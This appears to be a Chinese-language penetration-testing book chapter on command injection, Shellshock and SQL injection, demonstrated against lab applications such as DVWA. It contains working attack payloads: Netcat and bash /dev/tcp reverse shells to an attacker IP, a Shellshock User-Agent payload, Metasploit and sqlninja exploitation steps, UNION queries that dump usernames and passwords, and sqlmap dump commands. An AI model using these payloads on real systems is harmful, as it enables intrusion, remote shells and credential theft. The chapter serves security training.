Skip to content

Latest commit

 

History

History
972 lines (511 loc) · 53.7 KB

File metadata and controls

972 lines (511 loc) · 53.7 KB

第五章:检测和利用基于注入的缺陷

根据 OWASP Top 10 2013 列表(www.owasp.org/index.php/Top_10_2013-Top_10),Web 应用程序中最关键的缺陷是注入漏洞,并且它在 2017 年的列表中保持了其位置。

(www.owasp.org/index.php/Top_10-2017_Top_10) 发布候选版。交互式 Web 应用程序接受用户输入,处理它,并将输出返回给客户端。当应用程序容易受到注入漏洞时,它接受用户的输入而不进行适当或任何验证,并继续处理。这导致应用程序不打算执行的操作。恶意输入欺骗应用程序,迫使底层组件执行应用程序未编程的任务。换句话说,注入漏洞允许攻击者随意控制应用程序的组件。

在本章中,我们将讨论当今 Web 应用程序中的主要注入漏洞,包括检测和利用它们的工具,以及如何避免易受攻击或修复现有缺陷。这些缺陷包括以下内容:

  • 命令注入漏洞

  • SQL 注入漏洞

  • 基于 XML 的注入

  • NoSQL 注入

注入漏洞用于访问应用程序发送数据的底层组件,以执行某些任务。以下表格显示了 Web 应用程序常用的最常见组件,当用户输入未经应用程序验证时,这些组件经常成为注入攻击的目标:

组件 注入漏洞
操作系统 命令注入
数据库 SQL/NoSQL 注入
Web 浏览器/客户端 跨站脚本攻击
LDAP 目录 LDAP 注入
XML XPATH / XML 外部实体注入

命令注入

动态性质的 Web 应用程序可能使用脚本在 Web 服务器上调用某些功能,以处理从用户接收到的输入。攻击者可能会尝试通过绕过应用程序实施的输入验证过滤器来在命令行中处理此输入。命令注入通常在同一 Web 服务器上调用命令,但根据应用程序的架构,也可能在不同的服务器上执行命令。

让我们来看一个简单的代码片段,它容易受到命令注入漏洞的攻击,来自 DVWA 的命令注入练习。这是一个非常简单的脚本,接收一个 IP 地址并向该地址发送 ping(ICMP 数据包):

<?php 
  $target = $_REQUEST[ 'ip' ]; 
  $cmd = shell_exec( 'ping  -c 3 ' . $target ); 
  $html .= '<pre>'.$cmd.'</pre>'; 
  echo $html; 
?> 

正如您所看到的,在从用户接受ip参数之前,没有进行输入验证,这使得此代码容易受到命令注入攻击。要登录到 DVWA,使用的默认凭据是admin/admin

恶意用户可以使用以下请求来注入附加命令,应用程序将接受而不引发异常:

http://server/page.php?ip=127.0.0.1;uname -a

应用程序从客户端接受用户输入的值而不进行验证,并将其连接到ping -c 3命令,以构建在 Web 服务器上运行的最终命令。服务器的响应显示在以下屏幕截图中。由于应用程序未能验证用户输入,显示了底层操作系统的版本以及对给定地址进行 ping 的结果:

注入的附加命令将使用 Web 服务器的权限运行。现在大多数 Web 服务器都以受限权限运行,但即使权限有限,攻击者也可以利用并窃取重要信息。

命令注入可以用于通过注入wget命令使服务器下载和执行恶意文件,或者通过以下示例演示的方式获得对服务器的远程 shell。

首先,在 Kali Linux 中设置一个监听器。Netcat有一种非常简单的方法来做到这一点:

nc -lvp 12345  

Kali Linux 现在已设置为在端口12345上监听连接。接下来,将以下命令注入到受漏洞的服务器中:

nc.traditional -e /bin/bash 10.7.7.4 12345 

在一些现代 Linux 系统中,原始的 Netcat 已被替换为不包含某些可能存在安全风险的选项的版本,例如允许在连接时执行命令的-e选项。这些系统通常在名为nc.traditional的命令中包含传统版本的 Netcat。在尝试使用 Netcat 访问远程系统时,请尝试这两个选项。

请注意,10.7.7.4是示例中 Kali 机器的 IP 地址,12345是用于监听连接的 TCP 端口。发送请求后,您应该在 Kali Linux 中接收到连接,并能够在非交互式 shell 中发出命令:

非交互式 shell 允许您执行命令并查看结果,但无法与命令进行交互,也无法查看错误输出,例如使用文本编辑器时。

识别注入数据的参数

当您测试 Web 应用程序的命令注入漏洞,并确认应用程序正在与底层操作系统的命令行交互时,下一步是操纵和探测应用程序中的不同参数,并查看它们的响应。应该测试以下参数是否存在命令注入漏洞,因为应用程序可能使用其中一个参数在 Web 服务器上构建命令:

  • GET:使用此方法,输入参数通过 URL 发送。在之前的示例中,客户端的输入使用GET方法传递给服务器,并且容易受到命令注入漏洞的攻击。应该测试使用GET方法请求发送的任何用户可控参数。

  • POST:在此方法中,输入参数通过 HTTP 正文发送。类似于使用GET方法传递的输入;从最终用户获取的数据也可以使用POST方法在 HTTP 请求的正文中传递。然后,Web 应用程序可以使用这些数据在服务器端构建命令查询。

  • HTTP 头部:应用程序通常使用头字段来识别最终用户,并根据头部的值向用户显示定制信息。这些参数也可以被应用程序用于构建进一步的查询。检查命令注入的一些重要头字段如下:

  • Cookies

  • X-Forwarded-For

  • User-Agent

  • Referrer

基于错误和盲注命令注入

当通过输入参数传递命令并在 Web 浏览器中显示命令的输出时,很容易确定应用程序是否容易受到命令注入漏洞的攻击。输出可能是错误信息或您尝试运行的命令的实际结果。作为渗透测试人员,您将根据应用程序使用的 shell 修改和添加其他命令,并从应用程序中获取信息。当输出在 Web 浏览器中显示时,称为基于错误的非盲注命令注入

在另一种形式的命令注入中,即盲注命令注入,您注入的命令的结果不会显示给用户,也不会返回错误消息。攻击者将不得不依赖其他方式来确定命令是否确实在服务器上执行。当命令的输出显示给用户时,您可以使用任何 bash shell 或 Windows 命令,例如lsdirpstasklist,具体取决于底层操作系统。然而,在测试盲注时,您需要谨慎选择命令。作为道德黑客,当应用程序不显示结果时,识别注入漏洞存在的最可靠和安全的方法是使用ping命令。

攻击者通过注入ping命令将网络数据包发送到他们控制的机器上,并使用数据包捕获在该机器上查看结果。这可能在以下几个方面证明有用:

  • 由于ping命令在 Linux 和 Windows 中都相似,除了一些细微的差异,如果应用程序容易受到注入漏洞的影响,该命令肯定会运行。

  • 通过分析ping输出中的响应,攻击者还可以使用 TTL 值识别底层操作系统。

  • ping输出中的响应还可以使攻击者了解防火墙及其规则,因为目标环境允许 ICMP 数据包通过其防火墙。这可能在后期的利用阶段证明有用,因为 Web 服务器与攻击者之间有一条路径。

  • ping实用程序通常不受限制;即使应用程序在非特权帐户下运行,您执行命令的机会也是有保证的。

  • 输入缓冲区的大小通常是有限的,只能接受有限数量的字符,例如用户名输入字段。ping命令以及 IP 地址和一些附加参数可以轻松注入到这些字段中。

用于命令分隔符的元字符

在前面的示例中,分号被用作元字符,它分隔了实际输入和您尝试注入的命令。除了分号之外,还有几个其他元字符可用于注入命令。

开发人员可能设置过滤器以阻止分号元字符。这将阻止您的注入数据,因此您还需要尝试其他元字符,如下表所示:

符号 用法
; 分号是最常用的元字符,用于测试注入漏洞。Shell 按顺序运行所有命令,以分号分隔。
&& 双与运算符仅在左侧命令成功执行时才运行右侧命令。例如,可以注入密码字段以及正确的凭据。一旦用户通过身份验证进入系统,就可以运行注入的命令。
&#124;&#124; 双管道元字符是双与元字符的直接相反。它仅在左侧命令失败时才运行右侧命令。以下是此命令的示例:**cd invalidDir &#124;&#124; ping -c 2 attacker.com**
( ) 使用分组元字符,您可以将多个命令的输出组合并存储在文件中。以下是此命令的示例:**(ps; netstat) > running.txt**
` 单引号元字符用于强制 shell 解释并运行反引号之间的命令。以下是此命令的示例:**Variable= "OS version uname -a" && echo $variable**
>> 此字符将左侧命令的输出追加到右侧字符指定的文件中。以下是此命令的示例:**ls -la >> listing.txt**
&#124; 单管道将左侧命令的输出作为右侧指定命令的输入。以下是此命令的示例:**netstat -an &#124; grep :22**

作为攻击者,你经常需要使用前面的元字符的组合来绕过开发人员设置的过滤器,以便注入你的命令。

利用 shellshock

shellshock漏洞于 2014 年 9 月被发现,并分配了初始 CVE 标识符 2014-6271。Shellshock 是一个任意代码执行ACE)漏洞,被认为是有史以来发现的最严重的缺陷之一。

Bourne Again Shellbash)处理环境变量的方式中发现了缺陷,影响使用 bash 作为操作系统接口的应用程序和操作系统范围很广。大多数基于 Unix 的系统(包括 Mac OS X)中的 DHCP 客户端、命令行终端和 web 应用程序中的 CGI 脚本都受到影响。当将空函数设置为环境变量时触发该缺陷。空函数如下所示:


() { :; };

当 bash shell 接收到前面的一系列字符以及变量时,与其拒绝字符串,bash shell 会接受它以及随后的变量,并将其作为服务器上的命令执行。

正如你在之前利用命令注入漏洞时所看到的,bash shell 常用于 web 应用程序,并且你经常会看到后端、中间件和监控 web 应用程序将变量传递给 bash shell 以执行一些任务。接下来将展示一个利用 shellshock 漏洞的示例,使用来自 PentesterLab 的易受攻击的 live CD(www.pentesterlab.com/exercises/cve-2014-6271)。

获取反向 shell

如果你使用 live CD 镜像启动虚拟机,你会得到一个最小系统,其中包括一个加载显示系统信息的非常简单网页的 web 服务器:

如果你查看代理中的请求,你会注意到一个指向/cgi-bin/status的请求,其响应包括系统的正常运行时间以及看起来像是uname -a命令的结果:

要获取此类信息,状态脚本需要与操作系统通信。有可能它正在使用 bash 进行通信,因为 bash 是许多基于 Unix 的系统的默认 shell,并且当处理 CGI 脚本时,User-Agent 标头会变成一个环境变量。要测试是否实际上存在命令注入,你需要测试不同版本的注入。假设你希望目标服务器返回 ping 以验证它是否执行命令。以下是使用通用目标地址的一些示例。注意使用空格和分隔符:


() { :;}; ping -c 1 192.168.1.1

() { :;}; /bin/ping -c 1 192.168.1.1

() { :;}; bash -c "ping -c 1 192.168.1.1"

() { :;}; /bin/bash -c "ping -c 1 attacker.com"

() { :;}; /bin/sh -c "ping -c 1 192.168.1.1"

作为测试的一部分,你将请求发送到 Burp Suite 的 Repeater,并仅在 User-Agent 标头中提交 () { :;}; 空函数,并获得与无注入相同的有效响应:

如果尝试注入诸如 unameid 或单个 ping 等命令,你会收到一个错误。这意味着标头实际上正在被处理,你只需要找到发送命令的正确方法:

经过一些尝试和错误,你找到了正确的命令。ping -c 1 10.7.7.4 命令将在服务器上执行,并且通过网络嗅探器(例如 Wireshark)在攻击者的机器上捕获到 ping:

现在你已经找到了正确的注入命令,你可以尝试直接访问服务器的 shell。为此,首先使用 Netcat 设置监听器如下所示:


nc -lvp 12345

然后注入命令。这一次,你正在注入一个更高级的命令,如果成功,将产生一个完全交互式的 shell:


() { :;}; /bin/bash -c "ping -c 1 10.7.7.4; bash -i >& /dev/tcp/10.7.7.4/12345 0>&1"

bash shell 将变量解释为命令并执行它,而不是接受变量作为字符序列。这看起来与先前讨论的命令注入漏洞非常相似。然而,这里的主要区别在于,bash shell 本身易受代码注入的影响,而不是网站。由于许多应用程序(如 DHCP、SSH、SIP 和 SMTP)都使用 bash shell,因此攻击面大大增加。通过 HTTP 请求利用漏洞仍然是最常见的方法,因为 bash shell 经常与 CGI 脚本一起使用。

要识别 Web 服务器中的 CGI 脚本,除了使用代理分析请求和响应之外,还可以使用NiktoDIRB

使用 Metasploit 进行利用

从终端启动 Metasploit 控制台 (msfconsole)。你需要在 exploit/multi/http 下选择 apache_mod_cgi_bash_env_exec 利用程序:


use exploit/multi/http/apache_mod_cgi_bash_env_exec

然后,你需要使用 set 命令定义远程主机和目标 URI 值。你还需要选择 reverse_tcp 负载,该负载将使 Web 服务器连接到攻击者的机器。可以通过导航到 linux | x86 | meterpreter 找到此选项。

确保本地主机 (SRVHOST) 和本地端口 (SRVPORT) 的值是正确的。你可以使用 set 命令设置这些值和其他值:


set SRVHOST 0.0.0.0

set SRVPORT 8080

使用 0.0.0.0 主机,服务器将通过黑客启用的所有网络接口进行侦听。此外,请验证黑客机器上选定的端口是否已经有服务在运行:

一旦准备就绪,请输入 exploit,如果服务器容易受到 shellshock 攻击,则会看到 meterpreter 提示符。对于黑客来说,shell 是最有价值的财产meterpreter 会话是在后渗透阶段非常有用的工具。在这个阶段,黑客真正了解到他们已经入侵的机器的价值。Meterpreter 拥有大量内置命令。

Meterpreter 是 Metasploit 中包含的高级远程 Shell。在 Windows 系统中执行时,它包括提升权限、转储密码和密码哈希、模拟用户、嗅探网络流量、记录按键并在目标机器上执行许多其他利用的模块。

以下截图显示了 sysinfo 命令的输出和 Meterpreter 中的远程系统 shell:

SQL 注入

与后端数据库进行交互以检索和写入数据是 Web 应用程序执行的最关键任务之一。将数据存储在一系列表中的关系数据库是实现此目的的最常见方法,而对于查询信息,结构化查询语言SQL)是事实上的标准。

为了允许用户选择要查看的信息或根据其配置文件筛选他们可以看到的内容,从 cookie、输入表单和 URL 变量获取的输入用于构建传递回数据库进行处理的 SQL 语句。由于用户输入参与了构建 SQL 语句,因此应用程序的开发人员需要在将其传递到后端数据库之前仔细验证它。如果这种验证没有得到适当处理,恶意用户可能能够发送 SQL 查询和命令,这些查询和命令将由数据库引擎执行,而不是作为预期值进行处理。

利用用户输入信任来执行 SQL 查询而不是使用这些值作为过滤参数的攻击类型被称为SQL 注入

SQL 入门

为了理解 SQL 注入漏洞,首先需要对 SQL 有一些了解。首先,让我们来看一些基本的数据库概念:

  • 列或字段: 列或字段是指一种特定的数据片段,指的是所有实体的单个特征,比如用户名、地址或密码。

  • 行或记录: 行或记录是一组信息或一组字段值,与单个实体相关联,例如与单个用户或单个客户相关的信息。

  • 表: 表是包含有关同一类型元素的信息的记录列表,例如用户、产品或博客文章的表。

  • 数据库: 数据库是与同一系统或一组系统相关联的全部表的集合,通常彼此相关。例如,一个在线商店数据库可能包含客户、产品、销售、价格、供应商和员工用户的表。

为了获取如此复杂的结构的信息,几乎所有现代编程语言和数据库管理系统DBMS)都支持使用 SQL。SQL 允许开发人员对数据库执行以下操作:

语句 描述
CREATE 用于创建数据库和表
SELECT 允许从数据库中检索信息
UPDATE 允许修改数据库中现有数据
INSERT 允许在数据库中插入新数据
DELETE 用于从数据库中删除记录
DROP 用于永久删除表和数据库

其他更复杂的功能,如存储过程、完整性检查、备份和文件系统访问也受支持,并且它们的实现大多取决于所使用的数据库管理系统(DBMS)。

大多数合法的 SQL 操作任务都使用了前述语句。然而,如果不控制它们的使用,DELETEDROP语句可能会导致信息丢失。在渗透测试中,不鼓励使用DROPDELETE进行 SQL 注入攻击,或者我应该说是禁止的,除非客户明确要求。

SQL 语句中的(分号)元字符类似于命令注入中的用法,用于在同一行上组合多个查询。

SELECT 语句

在日常数据库使用中的基本操作是检索信息。这可以通过SELECT来完成。基本语法如下:


SELECT [elements] FROM [table] WHERE [conditions]

在这里,elements可以是通配符(例如,*选择所有内容),或者是您想要检索的列的列表。table是您想要检索信息的表。WHERE子句是可选的,如果使用,查询将只返回满足条件的行。例如,您可以选择所有价格低于 100 美元(USD)的产品的namedescriptionprice列:


SELECT name,description,price FROM products WHERE price<100

WHERE子句还可以使用布尔运算符制作更复杂的条件:


SELECT columnA FROM tableX WHERE columnE='employee' AND columnF=100;

如果WHERE子句后面的条件得到满足,即columnE具有employee字符串值,而columnF具有100值,上述 SQL 语句将从名为tableX的表中返回columnA的值。

漏洞代码

类似于之前讨论的命令注入漏洞,使用GET方法传递的变量也经常用于构建 SQL 语句。例如,/books.php?userinput=1 URL 将显示关于第一本书的信息。

在以下的 PHP 代码中,用户通过 GET 方法提供的输入直接添加到 SQL 语句中。MySQL_query() 函数将把 SQL 查询发送到数据库,MySQL_fetch_assoc() 函数将从数据库中以数组格式获取数据:


<?php

$stockID = $_GET["userinput"];

$SQL= "SELECT * FROM books WHERE ID=" . $stockID;

$result= MySQL_query($SQL);

$row = MySQL_fetch_assoc($result);

?>

没有适当的输入验证,攻击者可以控制 SQL 语句。如果你把 URL 改成 /books.php?userinput=10-1,以下查询将被发送到后端数据库:


SELECT * FROM books WHERE ID=10-1

如果第九本书的信息被显示,你可以得出结论:应用程序容易受到 SQL 注入攻击的影响,因为未经过滤的输入直接发送到数据库执行减法运算。

SQL 注入漏洞存在于 Web 应用程序中,而不是在数据库服务器上。

SQL 注入测试方法

在前一节中,你目睹了对一个易受攻击的代码片段的攻击结果。很显然,如果用户输入在没有先进行验证的情况下直接连接到 SQL 查询中,用户可以注入不同的数值或代码,这些将由数据库中的 SQL 解释器处理执行。但是,如果你没有访问源代码怎么办?这在渗透测试中是最有可能发生的情况;那么,你如何识别这样的缺陷呢?

通过尝试简单的注入字符串并分析服务器的响应来获取答案。让我们看一个使用 Damn Vulnerable Web Application (DVWA) 的简单示例。在 SQL 注入部分,如果你在文本框中输入任何数字,比如 2,你将获取 ID 为该数字的用户的信息:

现在尝试提交一个 '(撇号)字符,而不是一个数字,你会看到响应是一个非常描述性的错误消息:

这个唯一的回应告诉我们,该参数容易受到注入攻击,因为它表明在提交 ID 时有一个语法错误,在注入撇号后,形成的查询如下:


SELECT first_name, last_name FROM users WHERE user_id = '''

开放的撇号被注入的字符闭合。代码中已存在的撇号保持开放,这导致当数据库管理系统尝试解释句子时出错。

另一种检测注入的方法是让解析器执行布尔运算。尝试提交类似 2' and '1'='1 这样的内容。注意,你不需要发送第一个和最后一个撇号—这些将由 SQL 句子中已有的撇号完成,根据先前的错误消息推断。有时,你需要尝试多种组合,包括带有和不带有撇号、括号和其他分组字符,以发现句子的真实结构是如何组成的:

结果是相同 ID=2 的用户。这是预期的结果,因为你附加了一个始终成立的条件;也就是,and '1'='1'

接下来,尝试一个始终为假的条件:2' and '1'='2

从浏览器的地址栏中,你可以看到通过GET请求完成 ID 提交。对于错误条件的响应是空文本,而不是用户的详细信息。因此,即使 ID=2 的用户存在,句子的第二个条件也是假的,结果为空。这表明你可以将 SQL 代码注入到查询中,并可能从数据库中提取信息。

其他有用的测试字符串,可能帮助你识别 SQL 注入,如下:

  • 对数值输入的算术运算:这些包括,2+1-10+1

  • 字母值:在预期数字的地方使用这些(abc,...)。

  • 分号 (;):在大多数 SQL 实现中,分号表示句子的结束。你可以注入一个分号,后跟另一个如SLEEPWAITFOR的 SQL 语句,然后比较响应时间。如果它与你提供的暂停时间一致,则存在注入漏洞。

  • 注释:注释标记(#///*--)使解释器忽略注释后的所有内容。通过在一个有效值之后注入这些,你应该得到一个与单独提交值时不同的响应。

  • 双引号 ("):这可以代替撇号或单引号来界定字符串。

  • 通配符,字符%(百分比)和 _(下划线):这些也可以在WHERE条件中使用,因此如果代码存在漏洞,你可以注入它们;%表示所有字符串,_表示任意一个字符,但只是一个字符。例如,如果使用LIKE运算符而不是=,如在以下的 PHP 字符串连接中,如果我们提交百分号(%),你将得到所有用户作为结果:


"SELECT first_name, last_name FROM users WHERE first_name LIKE '" .

$name . "'"

或者,如果你提交像"Ali__"(带有两个下划线)这样的内容,你可能会得到如"Alice""Aline""Alica""Alise""Alima"这样的结果。

  • UNION 运算符:这在 SQL 中用于合并两个查询的结果。作为条件,两个查询的结果需要有相同数量的列。因此,如果你有一个返回三个列的脆弱查询,如刚才所示(选择两个列)并注入类似UNION SELECT 1,2的东西,你将得到一个有效的结果,或者如果你注入UNION SELECT 1,2,3,你会得到一个错误。如果结果相同,无论列数或差异如何不一致,那么输入可能不是脆弱的。

利用 SQL 注入提取数据

为了利用 SQL 注入漏洞从数据库中提取数据,你首先需要做的是理解查询是如何构建的,这样你才能知道在哪里以及如何注入你的有效载荷。

发现存在注入漏洞有助于你弄清楚WHERE条件是如何制定的。你还需要知道选择了多少列以及实际返回给客户端的是哪些列。

要获得列数,可以使用ORDER BY。从在有效值之后注入ORDER BY 1开始,以按第一行,第二行等顺序对结果进行排序,直到您因尝试使用不存在的行号来排序结果而出现错误为止。

如前面的屏幕截图所示,通过按列3排序,查询失败,这告诉您它只返回了两列。并且请注意地址栏中指示您的注入是2' order by 3 -- ', 您需要添加注释以让解释器忽略查询的其余部分,因为在 SQL 中ORDER必须始终在句子的末尾。您还需要在注释前后添加空格(浏览器会将其替换为地址栏中的+),并在末尾关闭单引号以避免语法错误。

现在您知道查询返回两列,要查看它们在响应中是如何呈现的,请使用UNION。通过提交 2' union select 1,2 -- ', 您将看到第一列是名字,第二列是姓:

现在您可以开始从数据库中提取信息。

获取基本环境信息

为了从数据库中提取信息,您需要知道要查找什么:有哪些数据库?我们的用户可以访问哪些?有哪些表,它们有哪些列?这是您需要向服务器询问的初始信息,以便能够查询所需获取的数据:

使用 DVWA 示例,假设您只有两列来获取信息,从询问数据库名称和应用程序用于连接到 DBMS 的用户开始。

这是通过 MySQL 中预定义的database()user()函数完成的:

您还可以通过注入以下内容来询问服务器上的数据库列表:


2' union SELECT schema_name,2 FROM information_schema.schemata -- '

information_schema是包含 MySQL 的所有配置和数据库定义信息的数据库,因此dvwa应该是与目标应用程序对应的数据库。现在让我们查询该数据库中包含的表:


2' union SELECT table_name,2 FROM information_schema.tables WHERE table_schema = 'dvwa' -- '

如屏幕截图所示,我们正在查询information_schema.tables表中定义的所有表的表名,其中table_schema(或数据库名称)为'dvwa'。从那里,您可以获取包含用户信息的表的名称,还可以询问其列及每个列的类型:


2' union SELECT table_name,2 FROM information_schema.tables WHERE table_schema = 'dvwa' and table_name = 'users' --'

每次请求只应选择一两个信息,因为您只有两个字段来显示信息。SQL 提供CONCAT函数,它可以连接两个或更多个字符串。您可以使用它将多个字段组合成一个单个值。您将使用CONCAT来提取用户 ID,名和姓,用户名和密码:


2' union select concat(user_id,'-',first_name,' ',last_name),concat(user,':',password) from dvwa.users -- '

盲 SQL 注入

到目前为止,我们已经找到并利用了一种常见的 SQL 注入漏洞,在这种漏洞中,请求的信息显示在服务器的响应中。然而,还有一种不同类型的 SQL 注入,无论其是否存在,服务器响应都不会显示实际详细信息。这被称为盲注 SQL 注入

要检测盲注 SQL 注入,您需要形成查询以获得是或否的响应。这意味着查询在结果为正或负时以一致的方式响应,以便您可以区分其中之一。这可以基于响应内容、响应代码或执行某些注入命令来实现。在最后一种情况下,最常见的方法是注入暂停命令并根据响应时间检测 true 或 false(基于时间的注入)。为了阐明这一点,让我们通过 DVWA 进行一个快速练习,您还将使用 Burp Suite 来方便地重新提交请求。

在基于时间的注入中,将形成一个查询,如果结果为 true,则会暂停处理 N 秒,并且如果结果为 false,则会在不暂停的情况下执行查询。在 MySQL 中使用 SLEEP(N) 函数,在 MS SQL Server 中使用 WAITFOR DELAY '0:0:N' 函数来实现。如果服务器需要这段时间才能响应,结果就为 true。

首先,转到 SQL 注入(盲注)。您将看到来自其他 SQL 注入练习的相同的用户 ID 文本框。如果您提交一个数字,它会显示相应用户的名字和姓氏。然而,这一次,如果您提交一个撇号或单引号,它会显示一个空的响应。但是,如果您提交 1'' 会发生什么?它会显示用户 1 的信息,所以它是可注入的:

让我们回顾一下您现在所拥有的信息。有一个有效的用户,ID=1。如果您提交一个不正确的查询或一个不存在的用户,结果只是一个空的信息空间。然后有真和假的状态。您可以通过提交 1' and '1'='1 and 1' and '1'='2 来测试这些状态:

以下截图显示了虚假响应。请注意,浏览器的地址栏中会对某些字符进行编码(例如,'=' 编码为 '%3D'):

要询问是/否问题,您必须用返回 true 或 false 的查询替换 '1'='1'。您已经知道应用程序的数据库名称是 'dvwa'。现在提交以下内容:


1' and database()='dvwa

在这里,您会收到一个肯定的响应。请记住,您不需要包含第一个和最后一个引号,因为它们已经在应用程序的代码中了。您怎么知道这一点?您需要逐个字符地迭代,找到每个字母,问诸如“当前数据库名称是否以 ? 开头”这样的问题。这可以通过表单或 Burp 的 Repeater 逐个字符完成,也可以使用 Burp 的 Intruder 进行自动化。

从代理历史记录中向侵入者发送一个有效请求,并按照以下截图设置输入:

请注意,在将a设置为输入后,会有 %25。这是 URL 编码的%(百分比)字符。 URL 编码由浏览器自动完成,有时服务器需要立即解释发送的字符。编码还可以用于绕过某些基本的验证过滤器。如上所述,百分比字符是一个通配符,可以匹配任何字符串。 在这里,我们正在说如果用户 ID 是 1,当前数据库的名称以 a 开头,然后跟着任何内容;有效载荷列表将是字母表中所有的字母和数字 0 到 9. SQL 字符串比较不区分大小写,除非特别指定。这意味着Aa是相同的:

现在你已经有了输入位置和有效载荷,但是你将如何区分真实响应和虚假响应呢?你需要在真实响应或虚假响应中匹配一些字符串。 你知道真实响应中总是包含First name文本,因为它显示了用户的信息。我们可以为此制定一个 Grep- Match 规则:

现在开始攻击,查看d是否与真实响应匹配:

要找到第二个字符,只需将输入位置前置一个 d(结果):

再次开始攻击,你会发现v是下一个字符:

持续这个过程,直到没有可能的输入返回积极的响应为止。 你也可以构建第一轮查询,使用以下注入来获取名称的长度,并迭代最后一个数字,直到找到正确的长度值为止:


1'+and+char_length(database())=1+--+'

请记住,由于侵入者不像浏览器那样添加编码,你可能需要自己添加或在负载配置中进行配置。在这里,我们用+号替换所有的空格。同时,请注意,由于char_length()的返回值是一个整数,你需要在其之后添加注释并关闭引号。

有关最常见 DBMS 中用于 SQL 注入的有用 SQL 命令的优秀参考资料可以在 PentestMonkey 的 SQL 注入小抄中找到:pentestmonkey.net/category/cheat-sheet/sql-injection

自动化利用

正如你从前面的部分所看到的,利用 SQL 注入漏洞可能是一个棘手和耗时的任务。 幸运的是,有一些有用的工具可供渗透测试人员从易受攻击的应用程序中自动提取信息。

即使这里提供的工具不仅可以用于利用还可以用于检测漏洞,也不建议以这种方式使用它们,因为它们的模糊机制会产生大量的流量;它们不能轻易监视,你将对它们向服务器发出的请求种类有限的控制。这增加了对数据的损害风险,并使诊断事件变得更加困难,即使所有日志都被保留。

sqlninja

sqlninja工具可以帮助你利用 Microsoft SQL 服务器作为后端数据库的应用程序中的 SQL 注入漏洞。使用 sqlninja 工具的最终目标是通过 SQL 注入漏洞控制数据库服务器。sqlninja 工具用 Perl 编写,可以在 Kali 中找到,导航至 Applications | Database Assessments。sqlninja 工具不能用于检测注入漏洞的存在,而是利用漏洞来获得对数据库服务器的 shell 访问。以下是 sqlninja 的一些重要功能:

  • 用于对远程 SQL 服务器进行指纹识别,以确定版本、用户权限、数据库身份验证模式和xp_cmdshell的可用性

  • 用于通过 SQLi 向目标上传可执行文件

  • 用于与 Metasploit 集成

  • 它使用混淆代码的 WAF 和 IPS 规避技术

  • 使用 DNS 和 ICMP 协议进行 Shell 隧道

  • 对旧版 MS SQL 的sa密码进行暴力破解

与 sqlmap 类似,sqlninja 工具可以与 Metasploit 集成,当工具利用注入漏洞并创建本地 shell 时,可以使用它来通过meterpreter会话连接到目标服务器。sqlninja 需要保存的所有信息都要保存在一个配置文件中。在 Kali Linux 中,示例配置文件保存在/usr/share/doc/sqlninja/sqlninja.conf.example.gz。你需要使用gunzip命令来提取它。你可以使用 Leafpad 编辑文件,并通过 Burp 等代理导出 HTTP 请求保存在其中。你还需要指定目标将连接到的本地 IP 地址。该工具附带了一份详细的逐步 HTML 指南,可以在与配置文件相同的位置找到,名为sqlninja-how.html

配置文件看起来与下面的截图类似。--httprequest_start----httprequest_end--是标记,它们必须在 HTTP 请求的开始和结束处定义:

sqlninja工具包含几个模块,如下图所示。每个模块都是为了使用不同的协议和技术访问服务器而创建的:

要开始利用,输入以下内容:


sqlninja -f <path to config file > -m m

sqlninja 工具现在将开始注入 SQL 查询以进行利用,当完成时,它将返回一个meterpreter会话。利用这一点,你可以完全控制目标。作为网络上最重要的关键服务器之一,数据库系统总是对恶意攻击者最具吸引力的目标。像 sqlninja 这样的工具可以帮助你在对手攻击之前了解 SQL 注入漏洞的严重性。作为 IT 安全专业人员,你最不想看到的就是攻击者获得对数据库服务器的 shell 访问。

BBQSQL

Kali Linux 包含了一个专门用于利用盲 SQL 注入漏洞的工具。BBQSQL 是一个用 Python 编写的工具。它是一个菜单驱动的工具,会问几个问题,然后根据你的回答构建注入攻击。它是能够自动化测试盲 SQL 注入漏洞的较快的工具之一,而且具有很高的准确性。

BBQSQL 工具可以配置为使用二进制或频率搜索技术。它还可以根据应用程序的 HTTP 响应中的特定值来定制,以确定 SQL 注入是否成功。

如下截图所示,该工具提供了一个漂亮的菜单驱动向导。URL 和参数在第一个菜单中定义,输出文件,在第二个菜单中定义所使用的技术和响应解释规则:

sqlmap

sqlmap 工具可能是目前最完整的 SQL 注入工具。它自动化了发现 SQL 注入漏洞、准确猜测数据库类型和利用注入漏洞控制整个数据库服务器的过程。一旦利用注入,它还可以用作远程 shell,或者触发 Metasploit 载荷(如 Meterpreter)以获得更高级的访问权限。

sqlmap 的一些特性包括:

  • 它为所有主要数据库系统提供支持。

  • 它对基于错误和盲注的 SQL 注入都有效。

  • 它可以枚举表和列名,还可以提取用户和密码哈希。

  • 它支持通过利用注入漏洞下载和上传文件。

  • 它可以使用不同的编码和篡改技术来绕过防御机制,如过滤、WAF 和 IPS。

  • 它可以在数据库服务器上运行 shell 命令。

  • 它可以与 Metasploit 集成。

在 Kali Linux 中,可以通过导航到应用程序|数据库评估找到 sqlmap。 要使用该工具,首先需要找到要测试 SQL 注入的输入参数。 如果变量是通过GET方法传递的,您可以向 sqlmap 工具提供 URL,它将自动化测试。 您还可以显式告诉 sqlmap 仅使用-p选项测试特定参数。 在下面的示例中,我们正在测试username变量是否存在注入漏洞。 如果发现存在漏洞,--schema选项将列出信息模式数据库的内容。 这个数据库包含所有数据库及其表信息:


sqlmap -u "http://10.7.7.5/mutillidae/index.php?page=user-info.php&username=admin&password=admin&user-info-php-submit-button=View+Account+Details" -p username --schema

如果要注入的参数是使用POST方法传递的,可以将 HTTP 文件作为输入提供给sqlmap,其中包含标头和参数。 可以使用诸如 Burp 之类的代理生成 HTTP 文件,方法是在捕获流量时在 Raw 选项卡下复制显示的数据。

该文件将类似于以下截图所示:

然后可以将 HTTP 文件作为输入提供给sqlmap--threads选项用于选择应用程序的并发 HTTP 请求数。 --current-db选项将提取应用程序使用的数据库名称,而--current-user提取连接到数据库的用户的名称:


sqlmap -r bodgeit_login.txt -p username --current-db --current-user --threads 5

该命令产生以下输出。数据库名称为PUBLIC,用户名称为SA

确定数据库名称后,可以使用--tables--columns选项提取有关表和列的信息。 此外,--data选项可用于定义POST参数,而不是使用包含请求的文件。 请注意使用"(引号); 它们用于使 Linux shell 将整套参数解释为单个字符串,并转义&(和号)字符,因为它是 Unix 系统命令行中的保留运算符:


sqlmap -u http://10.7.7.5/bodgeit/login.jsp --data "username=23&password=23" -D public --tables

您将看到以下输出:

要从某些表中提取所有数据,我们使用--dump选项加上-D指定数据库和-T指定表:


sqlmap -u http://10.7.7.5/bodgeit/login.jsp --data "username=23&password=23" -D public -T users -dump

让我们看一个输出示例:

